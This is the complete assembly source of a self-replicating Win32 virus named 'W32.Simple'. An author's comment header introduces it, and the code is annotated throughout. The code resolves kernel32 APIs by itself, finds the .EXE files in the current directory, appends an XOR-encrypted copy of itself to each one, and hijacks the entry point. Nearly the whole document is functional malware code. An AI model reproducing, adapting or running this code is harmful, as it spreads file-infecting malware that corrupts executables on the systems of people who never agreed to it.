; [ W32.Simple by XXXXXX ]
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; THIS IS A VERY SMALL AND SIMPLE WIN32 PE INFECTOR.. IT INFECTS ONLY
; FILES  IN THE CURRENT DIRECTORY. THIS VIRUS IS NOT SUPOSED TO BE IN
; THE WILD SO I DON'T WANTED TO INCLUDE WINDIR INFECTION OR DIRECTORY
; TRAVERSEL... I JUST WANTED TO WRITE A SMALL  STABILE WIN32 VIRUS :)
; THERE'S NOT MUCH TO MENTION ABOUT THIS EXEPT A FEW THINGS:  I DON'T
; USE FILE-MAPPING, LOOK WHY BELLOW. ALL THE ROUTINES  ARE NOT COPIED
; FROM SOMEONE ELSE. COZ THIS IS MY FIRST WIN32 VIRUS I READ A COUPLE
; OF TUTORS BUT THE THING  IS I TRIED TO UNDERSTAND THINGS INSTEAD OF
; JUST  PASTE CODE.  I TRIED MY BEST  IN OPTIMIZING COMMON STRUCTURES
; LIKE INFECTION AND EXPORT-TABLE SCANNING. THE ENCRYPTION IS LAME AS
; FUCK...  SO...  IT'S  JUST MY FIRST  VIRUS DON'T  EXPECT TO MUCH :)
; PLEASE WRITE TO [XXXXXX@GMX.NET]                             XXXXXX
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

.486
.MODEL                  FLAT, STDCALL
OPTION                  CASEMAP:NONE

INCLUDE                 \MASM32\INCLUDE\KERNEL32.INC
INCLUDELIB              \MASM32\LIB\KERNEL32.LIB

VIRUS_SIZE              EQU VIRUS_END - VIRUS_START
MAX_PATH                EQU 104H
OF_READ                 EQU 000H
GHND                    EQU 002H OR 040H
FILE_ATTRIBUTE_NORMAL   EQU 080H

.CODE
FIRST_GEN:
        PUSH            0
        CALL            ExitProcess

VIRUS_START:
        PUSHAD
        CALL            DELTA
DELTA:  POP             EBP
        SUB             EBP, DELTA                       ; EBP = DELTA OFFSET

XOR_KEY:MOV             DH,0                             ; WILL BE PATCHED LATER...
        LEA             ESI, [ EBP + E_START ]           ; SO NO XOR EDX, EDX :)
        PUSH            ESI
        MOV             ECX, VIRUS_END - E_START

;________________ _ _ _ [      -ENCRYPT-       ] _ _ _ __ 
ENCRYPT:XOR             BYTE PTR [ ESI ], DH             ; EN/DE-CRYPTS THE VIRUS_BDY
        ROL             DH, 1                            ; VERY LAME I KNOW...
        INC             ESI
        DEC             ECX
        JNZ             ENCRYPT
        RET

E_START:CALL            GET_KERNEL                       ; GET KERNEL BASE

        MOV             ECX, 14
        LEA             ESI, [ EBP + ___KERNEL32 ]
        CALL            GET_APIS                         ; GET KERNEL API'S

        CALL            INFECT_DIR                       ; INFECT SOME FILES

ERR_EXT:POPAD
HRETURN:PUSH            DWORD PTR OFFSET FIRST_GEN       ; RETURN TO HOST
        RET                                              ; WILL BE PATCHED LATER

;________________ _ _ _ [     -GET_KERNEL-     ] _ _ _ __
GET_KERNEL:                                              ; RETURNS THE KERNEL BASE
        MOV             ECX, [ ESP + 9 * 4 ]             ; SIMPLE BUT SMALL :)      
@@:     DEC             ECX
        MOVZX           EDX, WORD PTR [ ECX + 03CH ]     ; EDX = POINTER TO PE_HDR
        CMP             ECX, [ ECX + EDX + 034H ]        ; COMPARE CURRENT BASE WITH
        JNZ             @B                               ; THE KERNEL IMAGE_BASE (MZ)
        MOV             [ EBP + _KERNEL ], ECX           ; STORE RESULT
        MOV             [ EBP + _DEFAULT ], ECX
        RET

;________________ _ _ _ [      -GET_APIS-      ] _ _ _ __
GET_APIS:                                                ; SCANS THROUGHT API TABLE
        INC             ESI                              ; AND RETURNS ADDRESSES
        PUSH            ECX
        CALL            GET_API                          ; SEARCH API ADDRESS
        POP             ECX
        MOVZX           EBX, BYTE PTR [ ESI - 1 ]
        ADD             ESI, EBX                         ; STORE ADDRESS IN THE
        MOV             [ ESI ], EAX                     ; API TABLE...
        ADD             ESI, 4
        LOOP            GET_APIS                         ; NEXT ONE
        RET

;________________ _ _ _ [      -GET_API-       ] _ _ _ __
GET_API:                                                 ; SCANS FOR A SINGLE API ADR
        MOV             EDX, [ EBP + _DEFAULT ]          ; EDX = DEFAULT MODULE BASE
        ADD             EDX, [ EDX + 03CH ]              ;       + OFFSET PE_HEADER
        MOV             EDX, [ EDX + 078H ]              ; EDX = PTR EXPORT_DIR RVA
        ADD             EDX, [ EBP + _DEFAULT ]          ;       + BASE
        MOV             EDI, [ EDX + 020H ]              ; EDI = PTR ADDRESS_OF_NAMES RVA
        ADD             EDI, [ EBP + _DEFAULT ]          ;       + BASE
        MOV             EDI, [ EDI ]                     ; EDI = PTR ADR_OF_NAMES RVA
        ADD             EDI, [ EBP + _DEFAULT ]          ;       + BASE
        MOV             EAX, [ EDX + 018H ]              ; EAX = NUMBER_OF_NAMES
        XOR             EBX, EBX
NXT_ONE:INC             EBX
        MOVZX           ECX, BYTE PTR [ ESI - 1 ]        ; LENGHT OF SPEZIFED API NAME
        PUSH            ESI
        PUSH            EDI
        REPZ            CMPSB                            ; COMPARE API NAME WITH
        POP             EDI                              ; EXPORT ENTRY
        POP             ESI
        JZ              FOUND
        PUSH            EAX
        XOR             AL, AL
        SCASB                                            ; GET NEXT ONE
        JNZ             $ - 1
        POP             EAX
        DEC             EAX                              ; DECREASE NUMBER_OF_NAMES
        JZ              ERR_EXT
        JMP             NXT_ONE
FOUND:  MOV             ECX, [ EDX + 024H ]              ; ECX = PTR NBR_NAME_ORDS RVA
        ADD             ECX, [ EBP + _DEFAULT ]          ;       + BASE
        DEC             EBX
        MOVZX           EAX, WORD PTR [ ECX + EBX * 2 ]  ; EAX = ORDINAL OF FUNCTION
        MOV             EBX, [ EDX + 01CH ]              ; EBX = PTR ADR_OF_FUNCTIONS RVA
        ADD             EBX, [ EBP + _DEFAULT ]          ;       + BASE
        MOV             EAX, [ EBX + EAX * 4 ]           ; EAX = FUNCTION RVA!!!!
        ADD             EAX, [ EBP + _DEFAULT ]          ;       + BASE
        RET

;________________ _ _ _ [  -INFECT_DIRECTORY-  ] _ _ _ __
INFECT_DIR:                                              ; SEARCH ALL EXECUTABLES IN
        LEA             EAX, [ EBP + W32FINDDATA ]       ; THE SPEZIFED DIRECTORY
        PUSH            EAX
        LEA             EAX, [ EBP + FILE_MASK ]
        PUSH            EAX
        CALL            [ EBP + _FINDFIRSTFILE ]
        INC             EAX
        JZ              _S_OUT
        DEC             EAX
        MOV             [ EBP + S_HANDLE ], EAX
_S_SCAN:
        CMP             [ EBP + FILESIZEH ], 0           ; ONLY FILES UNDER 4 GIGS...
        JNZ             _NEXT
        CALL            INFECT_FILE                      ; PE FOUND SO INFECT IT!
_NEXT:
        LEA             EAX, [ EBP + W32FINDDATA ]
        PUSH            EAX
        PUSH            [ EBP + S_HANDLE ]
        CALL            [ EBP + _FINDNEXTFILE ]
        TEST            EAX, EAX
        JNZ             _S_SCAN
_S_CLOSE:
        PUSH            [ EBP + S_HANDLE ]
        CALL            [ EBP + _FINDCLOSE ]
_S_OUT: RET

;________________ _ _ _ [     -OPEN_FILE-      ] _ _ _ __
INFECT_FILE:                                             ; OPENS A FILE AND ALLOCATE MEM
        PUSH            FILE_ATTRIBUTE_NORMAL            ; I DON'T USE FILEMAPPING COZ
        LEA             EAX, [ EBP + FILENAME ]          ; I SIMPLY HATE IT... IMAGINE
        PUSH            EAX                              ; YOU MAP A FILE AND BEGIN TO
        CALL            [ EBP + _SETFILEATTRIBUTES ]     ; MAKE THE FIRST CHANGES, NOW
                                                         ; YOU REALIZE THE PE IS NOT
        PUSH            OF_READ                          ; VALID OR CORRUPTED (PACKED
        LEA             EAX, [ EBP + FILENAME ]          ; FILES OR SOME MS PE'S
        PUSH            EAX                              ; [OUTLOOK])... THIS PE SHOULD
        CALL            [ EBP + __LOPEN ]                ; BE HISTORY NOW :) I USED IT
        MOV             [ EBP + FILEHANDLE ], EAX        ; BEFORE AND MUST SAY THAT
        MOV             EAX, [ EBP + FILESIZE ]          ; I HAD TONS OF PROBLEMS WITH
        ADD             [ EBP + MAPSIZE ], EAX           ; THIS TECHNIQUE...
        PUSH            [ EBP + MAPSIZE ]
        PUSH            GHND
        CALL            [ EBP + _GLOBALALLOC ]
        MOV             [ EBP + H_BUFFER ], EAX
        PUSH            EAX
        CALL            [ EBP + _GLOBALLOCK ]            ; ALLOCATE MEM FOR THE FILE +
        TEST            EAX, EAX                         ; VIRUS_BODY
        JZ              _EXIT
        MOV             [ EBP + M_BUFFER ], EAX
        PUSH            [ EBP + FILESIZE ]
        PUSH            [ EBP + M_BUFFER ]
        PUSH            [ EBP + FILEHANDLE ]
        CALL            [ EBP + __LREAD ]                ; READ ENTIRE FILE TO BUFFER
        PUSH            [ EBP + FILEHANDLE ]
        CALL            [ EBP + __LCLOSE ]

;________________ _ _ _ [    -INFECT_FILE-     ] _ _ _ __
        MOV             EDI, [ EBP + M_BUFFER ]          ; EDI = POINTER TO MEM BLOCK
        CMP             WORD PTR [ EDI ], "ZM"           ; DO SOME CHECKS (MZ/PE/INFMARK)
        JNZ             _EXIT
        ADD             EDI, [EDI + 03CH]                ; EDI = POINTER TO PE_HDR
        CMP             WORD PTR [ EDI ], "EP"
        JNZ             _EXIT
        CMP             DWORD PTR [ EDI + 04CH ], 0
        JNZ             _EXIT
                                                         ; RETURN LAST SECTION
        MOV             ECX, [ EDI + 074H ]              ; ECX = NUMBER_OF_RVA_AND_SIZES
        LEA             ECX, [ ECX * 8 + EDI ]           ;       x 8 + OFFSET PE_HEADER
        MOVZX           EAX, WORD PTR [ EDI + 006H ]     ; EAX = NUMBER_OF_SECTIONS
        DEC             EAX                              ;       - 1
        LEA             EBX, [ EAX + EAX * 4 ]           ; EBX = EAX x 28H
        LEA             EBX, [ EBX * 8 ]                 ;       ...
        LEA             EBX, [ EBX + ECX + 078H ]        ; EBX = EBX + ECX + 078H

        MOV             EAX, VIRUS_SIZE
        XADD            [ EBX + 008H ], EAX              ; CHANGE VIRTUALSIZE
        CMP             EAX, [ EBX + 010H ]
        JA              _EXIT

        PUSH            EAX
        PUSH            DWORD PTR [ EBX + 010H ]
        ADD             EAX, VIRUS_SIZE
        XOR             EDX, EDX
        MOV             ECX, [ EDI + 03CH ]
        DIV             ECX
        INC             EAX
        IMUL            EAX, ECX
        MOV             [ EBX + 010H ], EAX              ; CHANGE SIZE_OF_RAW_DATA

        POP             ECX
        MOV             EAX, [ EBX + 010H ]
        SUB             EAX, ECX                         ; CHANGE SIZE_OF_IMAGE
        ADD             [ EDI + 050H ], EAX
                                                         ; CHANGE ATTRIBS & INFMARK
        OR              DWORD PTR [ EBX + 024H ], 0C0000000H
        MOV             DWORD PTR [ EDI + 04CH ], 'BDHP'

        POP             EAX
        ADD             EAX, [ EBX + 00CH ]
        XCHG            [ EDI + 028H ], EAX              ; CHANGE ENTRY_POINT
        ADD             EAX, [ EDI + 034H ]

        MOV             EDI, [ EBX + 014H ]              ; VIRUS_POS = VIRT_ADR +
        ADD             EDI, [ EBX + 008H ]              ;             VIRT_SIZE
        MOV             ECX, VIRUS_SIZE
        SUB             EDI, ECX
        ADD             EDI, [ EBP + M_BUFFER ]
        LEA             ESI, [ EBP + VIRUS_START ]
        REP             MOVSB                            ; WRITE VIRUS_BODY TO BUFFER

;________________ _ _ _ [     -CLOSE_FILE-     ] _ _ _ __
        ADD             BYTE PTR [ EBP + XOR_KEY + 1 ], 10
        MOV             DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
        MOV             BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
        MOV             [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX

        LEA             ESI, [ EDI - ( VIRUS_END - E_START ) ]
        MOV             ECX, VIRUS_END - E_START
        CALL            ENCRYPT                          ; ENCRYPT VIRUS_BODY

        PUSH            0                                ; TRUNCATE FILE AND OPEN
        LEA             EAX, [ EBP + FILENAME ]          ; FILE FOR WRITE ACCESS
        PUSH            EAX                              ; (FILE ATTRIBS ARE SET ABOVE)
        CALL            [ EBP + __LCREAT ]
        INC             EAX
        JZ              _EXIT

        MOV             EAX, [ EBX + 014H ]              ; FILESIZE = VIRT_ADR +
        ADD             EAX, [ EBX + 010H ]              ;            SIZE_OF_RAW_DATA

        PUSH            EAX
        PUSH            [ EBP + M_BUFFER ]               ; WRITE BUFFER TO FILE...
        PUSH            [ EBP + FILEHANDLE ]             ; CLOSE FILE...
        CALL            [ EBP + __LWRITE ]               ; GET RID OF THOSE MEMORY
        PUSH            [ EBP + FILEHANDLE ]             ; POINTERS AND FREE MEMORY... 
        CALL            [ EBP + __LCLOSE ]               ; SET OLD FILE ATTRIBUTES
_EXIT:  PUSH            [ EBP + M_BUFFER ]
        CALL            [ EBP + _GLOBALUNLOCK ]
        PUSH            [ EBP + H_BUFFER ]
        CALL            [ EBP + _GLOBALFREE ]

        PUSH            [ EBP + F_OATTRIBS ]
        LEA             EAX, [ EBP + FILENAME ]
        PUSH            EAX
        CALL            [ EBP + _SETFILEATTRIBUTES ]
        RET

;________________ _ _ _ [     -VIRUS_DATA-     ] _ _ _ __ 
___KERNEL32:                                             ;
                        DB 06,"_lopen"                   ; API TABLE
__LOPEN                 DD 0                             ; WILL BE FILLED UP WITH ADR'S
                        DB 06,"_lread"                   ; FROM A SPEZIFED MODULE-EXPORT
__LREAD                 DD 0                             ; TABLE (IN THIS CASE KERNEL32)
                        DB 07,"_lwrite" 
__LWRITE                DD 0
                        DB 07,"_lclose"
__LCLOSE                DD 0
                        DB 07,"_lcreat"
__LCREAT                DD 0
                        DB 11,"GlobalAlloc"
_GLOBALALLOC            DD 0
                        DB 10,"GlobalLock"
_GLOBALLOCK             DD 0
                        DB 12,"GlobalUnlock"
_GLOBALUNLOCK           DD 0            
                        DB 10,"GlobalFree"
_GLOBALFREE             DD 0
                        DB 13,"FindFirstFile"
_FINDFIRSTFILE          DD 0
                        DB 12,"FindNextFile"
_FINDNEXTFILE           DD 0
                        DB 09,"FindClose"
_FINDCLOSE              DD 0
                        DB 17,"SetFileAttributes"
_SETFILEATTRIBUTES      DD 0
                        DB 17,"GetFileAttributes"
_GETFILEATTRIBUTES      DD 0
                                                  
_KERNEL                 DD 0                             ; BASE PLACEHOLDERS
_DEFAULT                DD 0

MAPSIZE                 DD VIRUS_SIZE + 1000H

FILEHANDLE              DD 0
H_BUFFER                DD 0
M_BUFFER                DD 0

W32FINDDATA:                                             ; WIN32_FIND_DATA STRUC
F_OATTRIBS              DD 0
                        DD 6 DUP ( 0 )
FILESIZEH               DD 0
FILESIZE                DD 0
                        DD 2 DUP ( 0 )
FILENAME                DB MAX_PATH DUP ( 0 )
                        DB 14 DUP ( 0 )

S_HANDLE                DD 0
FILE_MASK               DB "*.EXE", 0

VIRUS_END:

END VIRUS_START